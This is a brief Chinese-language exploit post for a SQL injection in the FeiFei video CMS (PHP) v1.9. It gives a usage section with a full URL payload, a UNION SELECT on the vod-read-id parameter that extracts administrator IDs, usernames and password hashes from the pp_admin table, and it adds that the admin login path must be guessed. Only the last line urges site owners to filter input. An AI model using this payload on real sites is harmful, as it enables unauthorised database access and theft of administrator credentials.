飞飞影视系统(PHP) v1.9 注入漏洞

使用方法：

http://www.xxxx.com /?s=vod-read-id-1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(0x40,admin_id,0x40,admin_name,0x40,admin_pwd,0x40),28,29%20from%20pp_admin--.html

然后爆出账号密码,后台要自己猜。

网上已经发布exp，请各位对其进行过滤处理